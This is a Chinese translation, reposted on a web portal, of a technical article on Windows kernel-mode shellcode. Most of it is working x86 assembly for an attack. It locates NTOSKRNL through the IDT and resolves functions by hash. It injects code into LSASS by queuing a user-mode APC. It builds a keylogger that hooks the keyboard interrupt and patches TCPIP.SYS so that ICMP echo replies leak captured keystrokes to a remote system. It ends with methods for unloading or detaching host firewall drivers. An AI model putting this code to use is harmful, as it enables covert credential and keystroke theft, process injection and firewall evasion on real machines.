kernel.這個例子建立一個用戶鍵盤中斷處理程序來捕獲所有的鍵盤輸入消息。然後利用shell code TCPIP.SYS ICMP處理程序,讓鍵盤緩沖區通過ICMP ECHO請求返回到遠程系統。這段代碼很小,利用了很少的API函數。爲了完全理解下面的示例,我拷貝了相應的源代碼。 The “Kernel Loader” 有很多技術可以把代碼從內核狀態轉換到用戶狀態並且執行,舉個例子,你可以改變正在執行的線程的EIP,讓它指向自己的代碼——如果采用這個技術,正在運行的進程就會自我銷毀。 可以使用NTOSKRNL中的RtlCreateUserThread和RtlCreateUserProcess函數,這些函數會創建SMSS.EXE(唯一一個沒有父進程的進程,由內核直接創建)。然而這裏有兩個問題:第一,他們不是導出函數;第二,是個更大的問題,他們是在NTOSKRNL的INIT區段中,這意味著在進程執行之前這兩個函數就已經執行。因而需要重新映射NTOSKRNL,以及初始化一些全局變量(_MmHighestUserAddress和_NtGlobalFlag), 當然還需要找到該函數的首地址。 另外一種可行的方法是在用戶域進程中創建遠程線程,並且直接執行該線程。Firew0rker在他的文章中談到過這些: http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt 不幸的是,這種方法也有缺陷。當執行用戶級代碼的時候,API函數CreateProcess可能會失敗,這是由于必須通知CSRSS子系統。需要重新獲取workaround並且在用戶級的Shell Code中建立一個新的CONTEXT結構。 爲了保持shell code盡量小,同時也爲了可以插入到任意用戶域代碼而無需改變(譯注:可移植性),上述的workaround並不是一個可行的選擇。因爲這種方法同樣利用NTDLL的導出函數,在windows 2000以外的系統中會引發一定的問題。Windows 2000使用Ox2e中斷來實現3級到0級的切換,無論在3級或是0級,都可以安全的執行。 然而,在Windows XP下問題就産生了,Windows XP是利用SYSENTER和SYSEXIT指令對來實現0級與3級之間的切換。如果在內核中直接調用NTDLL的導出函數,意味著藍屏即將來臨。爲了解決這個問題,用于在系統服務表中查詢NTOSKRNL函數的額外代碼是必須的.我決定采用異步過程調用(Asynchronous Procedure Calls)方式來執行用戶域Shell Code,這種方法只使用直接由NTOSKRNL導出的函數。 在一個處于“可報警等待狀態(Alertable Wait State)”的用戶線程中使用APC,必須立即執行該函數。處于“可報警等待狀態”的線程可能是由于調用了 SleepEx, WaitForSingleObjectEx, SignalObjectAndWait和MsgWaitForMultipleObjectsEx等函數把Alertableflag設置爲TRUE。這種方法需要的API調用數目是最少的,而且相對而言比較可靠。 我們將要使用的所有函數都是由NOOSKRNL導出的。第一步要做的就是手動取得NTOSKRNL的基地址,爲了完成這一步,我們使用被稱爲“mid-delta”的技術:先取得一個指向NTOSKRNL地址空間的指針,然後一直遞減直到指針指向可執行文件標志“MZ”爲止。要想得到一個指向NTOSKRNL地址空間的指針,我們可以先取得中斷描述符表(IDT)的第一項入口地址,因爲通常情況下這個地址是指向NTOSKRNL地址空間中的某一位置。 接下來的代碼是訪問在IDT中取得一個內存指針,然後通過遞減該指針來尋找基地址。 mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT地址 lodsd cdq lodsd ; get pointer into NTOSKRNL @base_loop: dec eax cmp dword ptr [eax], 00905a4dh ; 檢測“MZ”標志 jnz @base_loop 取得IDT基地址的一般方法是使用SIDT指令。由于IDT也是由0xFFDFF038地址的指針所指向的,我可以直接訪問IDT地址,這樣也可以減少一些字節數。也許你會注意到上面的代碼並沒有得到正確的IDT入口地址,我們只是取得入口地址的高字部分,這是因爲低字部分的區域範圍是在0—0xFFFF,忽略後仍舊在NTOSKRNL的內存地址空間裏。 hash_table: dw 063dfh; "PsLookupProcessByProcessId" _pslookupprocessbyprocessid equ [ebx] dw 0df10h; "KeDelayExecutionThread" _kedelayexecutionthread equ [ebx+4] dw 0f807h; "ExAllocatePool" _exallocatepool equ [ebx+8] dw 057d2h; "ZwYieldExecution" _keyieldexecution equ [ebx+12] dw 07b23h; "KeInitializeApc" _keinitializeapc equ [ebx+16] dw 09dd1h; "KeInsertQueueApc" _keinsertqueueapc equ [ebx+20] hash_table_end: 接下來我們可以建立一張哈希表,每一個所需要的函數都在其中有一個字長的哈希表項。函數名字符串在Win32 Shell Code中往往會占據大量的空間,所以使用散列機制更加合理。每個函數的指針都存放在一個表項中,而且可以由Shell Code通過EBX寄存器來訪問。 接下來就執行標准的“GetProcAddress”,它會分析NTOSKRNL的導出表並且取得對應函數的入口地址。這裏的哈希表有點特別,只是對導出函數名的每一字節進行XOR/ROR運算。我使用字長哈希表而不是雙字長哈希表就是爲盡量縮減Shell Code的長度。 一旦取得所有將要使用的函數的入口地址,接下來的的任務就是分配一個新的內存塊用于存儲shell code。因爲代碼還駐留在堆棧上,必須把代碼拷貝到新的內存塊。否則接下來的內核函數會覆蓋掉大塊區域,尤其是當我們請求降低IRQL (Interrupt Request Level)時。 我們把NonPagedPool作爲參數傳遞給ExAllocatePool,然後把shell code拷貝到non-paged區域,再簡單的執行一個JMP指令來到這個內存區域。現在所有的代碼都可以安全的執行而不會再受到影響。 當注入驅動程序時,我們必須意識到當前的IRQL。IRQL是一個指定內核程序當前的硬件優先級,很多內核程序爲了能成功執行會請求IRQL的PASSIVE (0) 。如果運行在DISPATCH (2)級(用于程序調度和延遲過程調用) ,必須把IRQL下降到PASSIVE. 這只是一件簡單的事情,只需要調用HAL的導出函數KeLowerIrql並且把0(PASSIVE)做爲參數。 現在我們需要把用戶域代碼綁定到進程,就必須先得到EPROCESS結構的指針,每一個進程都有一個對應的EPROCESS結構。關于這篇文章所有結構的更多信息都可以在WinDbg中通過dump結構體取得(例如: dt NT!_EPROCESS)。我們將要使用的函數需要EPROCESS的偏移地址,如果可以得到指向所有EPROCESS結構的指針,那麽可以通過遍曆所有結構來得到當前的所有活動進程。 一般情況下,可以通過調用PsGetCurrentProcess來得到第一個EPROCESS結構。不幸的是,當注入一個遠程驅動程序的時候,我們可能注入到一個處于“等待”狀態的進程中,這個“等待”進程不會返回一個有效進程控制塊。我用PsLookupProcessByProcessId來替換,並且把“system”進程的PID作爲參數。在Windows XP中這個值爲4,而在Windows 2000中這個值爲8。 lea ebp, [edi-4] push ebp push 04 call dword ptr _pslookupprocessbyprocessid ;取得系統EPROCESS mov eax, [ebp] ; 取得系統EPROCESS結構指針 取得了第一個EPROCESS結構,現在我們就可以訪問當前所有活動進程。雖然我選擇把代碼注入LSASS地址空間,但所有正在運行的系統進程都是合適的目標。爲了訪問LSASS,采用循環方式枚舉EPROCESS+ActiveProcessLinks所指向的每一個入口地址並且與LSASS模塊名相比較。 mov cl, EP_ActiveProcessLinks ; offset to ActiveProcessLinks add eax, ecx ; get address of EPROCESS+ActiveProcessLinks @eproc_loop: mov eax, [eax] ; get next EPROCESS struct mov cl, EP_ModuleName cmp dword ptr [eax+ecx], "sasl" ; is it LSASS? jnz @eproc_loop 一旦定位LSASS進程,就可以通過減去ActiveProcessLinks偏移值,從而得到LSASS與第一個EPROCESS結構的偏移值。 下一步就是把shell code拷貝到目標內存空間。起先我打算把代碼存放在PEB;以前,PEB總是被映射到0x7ffdf000,但在XP SP2中PEB的映射地址是隨機的。雖然可以通過0xFFDFF000->0x18->0x30找到PEB,但我們有更好的選擇:把代碼存放到內核-用戶-共享內存區域,通常被稱爲SharedUserData。0xFFDF0000處是一個可寫的內存區域,在那裏可以保存我們的代碼。這個內存區域是從用戶域被標記爲只讀的0x7FFE0000處映射而來的,這個映射在所有的平台上都一樣,所以這是個不錯的選擇。 由于在這個區域的內存對所有進程來來說都是可讀的,所以必要把地址空間切換到目標進程,可以直接從內核把代碼寫入到0xFFDF0000+0x800。當排隊一個用戶模式APC時,把0x7FFE0000+0x800作爲參數。 call @get_eip2 @get_eip2: pop esi mov cx, shell code-$+1 add esi, ecx ; Get shell code address mov cx, (shell code_end-shell code) ; Shell code size mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800 push edi mov edi, [edi] ; Copy shell code to SharedUserData rep movsb pop edi 現在需要找到一個可以執行APC函數的線程。APC可以是內核模式APC或者用戶模式APC,這裏排隊一個用戶模式的APC。如果我們將要傳遞的線程沒有處于“可報警等待狀態”,那麽用戶模式APC將不會被調用。我前面已經簡要的提到,一個線程可以通過調用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx把bAlertable設置爲TRUE就可以進入該狀態。要找一個可用的線程需要訪問該進程的ETHREAD指針,並且遍曆每個線程直到找到我們所需要的線程爲止。 mov edx, [edi+16] ; Pointer to EPROCESS mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer @find_delay: mov ecx, [ecx] ; Get next thread cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution? jnz @find_delay 上面的代碼首先通過EPROCESS結構的ThreadListHead LIST_ENTRY取得LSASS ETHREAD結構的指針,然後檢測線程狀態標志。一旦找到目標線程,我們設置EBP指向KTREAD結構,接下來我們要初始APC程序。 xor edx, edx push edx push 01 ; push processor push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800) push edx ; push NULL push offset KROUTINE ; push KERNEL routine push edx ; push NULL push ebp ; push KTHREAD push esi ; push APC object call dword ptr _keinitializeapc ; initialize APC 我們把用戶模式Shell Code(存儲在SharedUserData)的EIP作爲KeInitializeApc的參數,同時必須傳遞一個將會被調用的內核程序。我們不需要這個程序做任何事情,只需要把返回指令指向shell code就可以了,該線程的KTHREAD結構對于執行我們的APC程序也必要的,APC對象將以指針變量的形式由ESI寄存器返回。現在可以將我們的APC程序插入到目標線程的APC隊列。 push eax ; push 0 push dword ptr [edi+4] ; system arg push dword ptr [edi+8] ; system arg push esi ; APC object call dword ptr _keinsertqueueapc 最後一個函數是KeInsertQueueApc用來發送APC。在上面的代碼中,EAX爲0,而且兩個系統參數也是指向空地址的指針,當然也傳遞了先前由KeInitializeApc返回的APC對象。 最後,爲了防止我們的剛初始化的負載線程返回並出現藍屏,把0X80000000:00000000傳遞給KeDelayExecutionThread,讓線程睡眠。 push offset LARGE_INT push FALSE push KernelMode call dword ptr _kedelayexecutionthread 如果在偶然的情況下,我們進入了“Idle”地址空間,那麽這個調用就會失敗。解決這個問題的方法是放棄執行該線城,然後繼續循環.代碼片段如下: @yield_loop: call dword ptr _keyieldexecution jmp @yield_loop 萬幸,用戶模式線程應該還在你所選擇的SYSTEM進程中安全的執行。如果完成APC函數後調用ExitThread來退出用戶代碼,那麽系統很可能還是穩定的。 The ICMP Patching Interrupt Hooking Key-Logger 當我和來自eEye的Derek Soeder閑聊的時候,我們討論了哪些是完全由內核級內代碼組成的有用的shell code。其中的一個想法是內核級key-logger,它可以返回鍵盤緩沖區到遠程線程。顯然,這是一個shell code,創建一個完整的鍵盤過濾器和通信管道可能會大大超出可以接受的代碼長度範圍,所以采取捷徑是必須的。 我們采用源于DOS時代的技術,把鍵盤中斷處理程序入口替換爲自己的代碼入口來捕獲掃描碼,而不是綁定鍵盤過濾器來捕獲鍵盤消息。我決定修改TCPIP.SYS驅動程序的ICMP處理體,而不是通過自己創建管道返回鍵盤消息到遠程用戶。補丁程序修改了ICMP ECHO處理體,用我們自己的鍵盤緩沖區來替換原來的緩沖區。發送一個ICMP ECHO請求到遠程系統將會返回所捕獲的按鍵情況。 第一步,把鍵盤處理體的IDT入口替換爲我們自己中斷處理體的入口。現在,Windows XP 和 2000 SP4有存儲在HAL內存區域的IRQ中斷向量表。我們可以很方便的搜索臨近的標志字節,並且查詢對應于IRQ1(鍵盤IRQ)的中斷向量。在早期的服務包中,例如Window 2000 SP0,這個表是不存在的,然而中斷向量表是靜止的,RQ1 = Vector 0x31, IRQ2 = Vector 0x32等等。下面的代碼首先嘗試定位向量表,如果定位失敗的話就會直接使用中斷向量0X31。 mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT基地址 lodsd cdq lodsd ; 取得NTOSKRNL地址空間的指針 @base_loop: dec eax cmp dword ptr [eax], 00905a4dh ; 檢測 MZ 標志 jnz @base_loop jecxz @hal_base ; 把 NTOSKRNL 基地址保存到EAX xchg edx, eax mov eax, [edx+590h] ; 取得一個 HAL 函數的指針 xor ecx, ecx jmp @base_loop ; 尋找HAL的基地址 @hal_base: mov edi, eax ; 把 HAL 的基地址保存到 EDI mov ebp, edx ; 把 NTOSKRNL 基地址保存到 EBP cld mov eax, 41413d00h ; 標志字節"=AA\0" xor ecx, ecx dec cx shr ecx, 4 repnz scasd ; 取得在IDT表中的偏移值 or ecx, ecx jz @no_table lea edi, [edi+01ch] ; 取得相量表的指針 push edi inc eax ;IRQ 1 repnz scasb pop esi sub edi, esi dec edi ; 取得鍵盤中斷 jmp @table_ok @no_table: mov edi, 031h ; 如果相量表不存在,使用靜態值 @table_ok: push edx sidt [esp-2] ;Get IDT pop edx lea esi, [edx+edi*8+4] ; IDT 中鍵盤處理體入口 std lodsd lodsw ; EAX 中爲鍵盤處理體入口地址 mov dword ptr [handler_old], eax ; 保存 首先定位NOSOKRNL和HAL.DLL的基地址,然後在HAL地址空間中搜索“=AA\0”標志,這個雙字標志標識著與中斷向量表相臨的TRQL-TPR轉換表的開始。如果找到該標識,我們直接把中斷向量設置爲0X31;如果沒有找到IRQ表,那麽所需要的偏移值在IRQ表的0XC1H處。接著我們定位對應于鍵盤IRQ1的向量,然後用SIDT指令得到IDT的基地址。得到中斷向量IDT入口的公式如下: IDT_BASE+INT_Vector*8 從IDT中取得原始中斷處理體的地址,保存在我們處理程序的起始位置,因而當我們的處理程序完成特定功能後可以返回到原始處理程序。下面的代碼在IDT中用我們自定義的中斷處理體入口替換原始處理程序入口: cld mov eax, @handler_new cli ; 當改寫入口地址的時候屏蔽中斷 mov [esi+2], ax ; 改寫用新的入口地址改寫IDT入口 shr eax, 16 mov [esi+8], ax sti ; 恢複允許中斷信號 接下來就調用ExAllocatePool,分配一個緩沖區用于存儲已捕獲的鍵盤輸入;我們還需要通過分析NTOSKRNL的PsLoadedModuleList來定位TCPIP.SYS的基地址,不幸的是PsLoadedModuleList不是公共的導出函數,因而我們需要手動定位。 NTOSKRNL導出的MmGetSystemRoutineAddress函數就使用了這個鏈表。 [url=/bbs/detail_220858.html][img]http://www.pediy.com/bbshtml/bbs7/pediy7-780/image010.gif[/img][/url] 爲了取得所需要的指針,我們把MmGetSystemRoutineAddress的地址作爲參數並且通過遞增該地址來手動定位PsLoadedModuleList。 mov edi, _mmgetsystemroutineaddress @mmgsra_scan: inc edi mov eax, [edi] sub eax, ebp test eax, 0FFE00003h jnz @mmgsra_scan mov ebx, [edi] cmp ebx, [edi+5] ; 檢測 PsLoadedModuleList 的指針 je @pslml_loop cmp ebx, [edi+6] jne @mmgsra_scan @pslml_loop: ; 找到 _PsLoadedModuleList mov ebx, [ebx] mov esi, [ebx+30h] mov edx, 50435449h ; "ITCP", 判斷是否TCPIP.SYS 模塊? push 4 pop ecx @pslml_name_loop: lodsw ror edx, 8 sub al, dl je @pslml_name_loop_cont cmp al, 20h @pslml_name_loop_cont: loopz @pslml_name_loop @pslml_loop_cont: jnz @pslml_loop mov edi, [ebx+18h] ;TCPIP.SYS 模塊基地址 上面的代碼首先遍曆MmGetSystemRoutineAddress程序來搜索該鏈表的指針。系統模塊鏈表結構如下: +00h LIST_ENTRY +08h ??? +18h LPVOID module base address +1Ch LPVOID ptr to entry point function +20h DWORD size of image in bytes +24h UNICODE_STRING full path and file name of module +2Ch UNICODE_STRING module file name only ... 接下來就是分析該鏈表來取得TCPIP.SYS模塊的基地址。 這些代碼比起網絡Shell Code更類似于軟件crack,原因就在于:我們將要修改TCPIP驅動程序,這就意味著我們可以接受來自遠程系統所捕獲的鍵盤輸入。有很多種方法,這裏通過修改ICMP ECHO處理程序使之作爲通信通道。 在TCPIP.SYS的SendEcho中我們將會使用shell code。由于完整的反彙編代碼太長,下面是相關部分的代碼片段: [url=/bbs/detail_220858.html][img]http://www.pediy.com/bbshtml/bbs7/pediy7-780/image012.gif[/img][/url] 從上面的反彙編代碼來看,[edx+8]是指向ICMP ECHO緩沖區的指針,那麽通過修改上面的代碼把[edx+8]的指針改爲指向我們的鍵盤緩沖區,這只是一件很容易的事。 mov eax, 428be85dh ; TCPIP.SYS 地址空間中的字節序列 @find_patch: inc edi cmp dword ptr [edi], eax jnz @find_patch add edi, 5 mov al, 68h stosb ; Store "push" mov eax, edx ; EDX 指向鍵盤緩沖區 stosd ; 保存鍵盤緩沖區指針 mov eax, 08428f90h ; "pop [edx+08h] / nop" stosd 用下面的代碼可以修改: push keybuffer_offset pop [edx+8] nop 當ICMP ECHO請求被發送到遠程系統時,反饋的數據包會包括已捕獲的鍵盤輸入,替換中斷處理體是很容易的事--當有按鍵事件時我們的程序就會被調用,然後從鍵盤斷口讀取鍵盤掃描碼並保存到按鍵緩沖區。 @handler_new: push 0deadbeefh ; 保存當前處理程序指針 handler_old equ $-4 pushfd pushad xor eax, eax lea edi, keybuf ; 用所分配的緩沖區地址改寫 KB_PATCH equ $-4 in al, 60h ; 取得鍵盤掃描碼 test al, al ; 沒有掃描碼? jz @done push edi mov ecx, [edi] lea edi, [edi+ecx+4] stosb ; Store code in buffer inc ecx pop edi cmp cx, 1023 jnz @done xor ecx, ecx @done: mov [edi], ecx popad popfd db 0c3h ; 返回到原來的處理程序 一旦有按鍵消息産生,上面的代碼就會被調用,而初始的中斷處理程序句柄(已經被改寫)被壓入堆棧。從0x60斷口讀取當前的掃描碼並保存到所分配的緩沖區中。這個緩沖區可以保存0X3FF個鍵盤輸入,如果之後再有掃描碼就會覆蓋前面部分。 對注入放火牆驅動程序的思考 當在防火牆驅動程序中注入一個內核級漏洞時,將需要考慮很多問題。我們將要示範的漏洞是由處理DNS反饋信息過程引起的,DNS反饋信息是由SYMDNS.SYS處理的。如果DNS處理過程不能成功返回,那麽就不能用socket來通信。在研究這個問題之前,首先必須理解多種協議層的通信機制。 下面是網絡層的概要: 1).網絡驅動程序接口規範(Network Driver Interface Specification Layer) NDIS 爲從物理設備到網絡傳輸提供一個通路 NDIS驅動程序直接與網絡適配器打交道。 2).網絡協議層(Network Protocol Layer) 此處爲 TCP/IP. (TCPIP.SYS) 3).傳輸層驅動接口(Transport Driver Interface Layer) TDI爲網絡協議、客戶端協議、以及網絡API例如Winsock提供接口。 4).網絡應用程序接口(Network API Layer) 網絡應用程序接口例如Winsock,爲網絡應用程序提供編程接口。 所有基于主機的放火牆的限制策略都工作在內核模式,通常可以通過TDI過濾驅動程序或者 NDIS 挂鈎過濾驅動程序。雖然我沒有見過這一類的放火牆産品,但是挂鈎AFD接口也是可能的。 我們所面對的問題:SYMDNS.SYS必須返回到TDI過濾驅動程序SYMTDI.SYS,不幸的是一旦執行我們的shell code,通信就不會結束。這裏有一些的解決方案: (a) “clean” 返回 Clean返回包括在沒有出現BSOD的情況下從shell code返回,有包括能繼續正常的通信,這個是很難實現的。經過攻擊後的堆棧不是處于最佳狀態,所以必須返回到原來堆棧桢的狀態 (b) 卸載 TDI 或者 NDIS 的過濾驅動 卸載過濾驅動是另外一個可行的方法。我們可以很方便的調用驅動程序的卸載程序,這就相當于從DriverEntry程序調用DriverObject->DriverUnload。這個驅動程序的偏移地址可以通過目標驅動程序的DRIVER_OBJECT獲得。 如果DriverUnload的成員DRIVER_OBJECT爲空,意味目標驅動程序的卸載程序不存在。DRIVER_OBJECT可以被DEVICE_OBJECT的成員所引用,可以通過把驅動程序名作爲參數傳遞給IoGetDeviceObjectPointer,取得指向DEVICE_OBJECT的指針。 (c) 分離或刪除驅動程序(Detach/delete the devices) 驅動可以通過調用 IoAttachDevice 或 IoAttachDeviceToDeviceStack 把自身的設備對象附加到其它設備,因而對原始設備的請求首先被傳遞到立即設備。我們可把DEVICE_OBJECT作爲參數傳遞給IoDetachDevice來分離驅動程序,有可以把DEVICE_OBJECT作爲參數傳遞給IoDeleteDevice來移除設備。
󰈣󰈤
王朝萬家燈火計劃
期待原創作者加盟
 
 
 
>>返回首頁<<
 
 
 
 
 
 熱帖排行
 
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有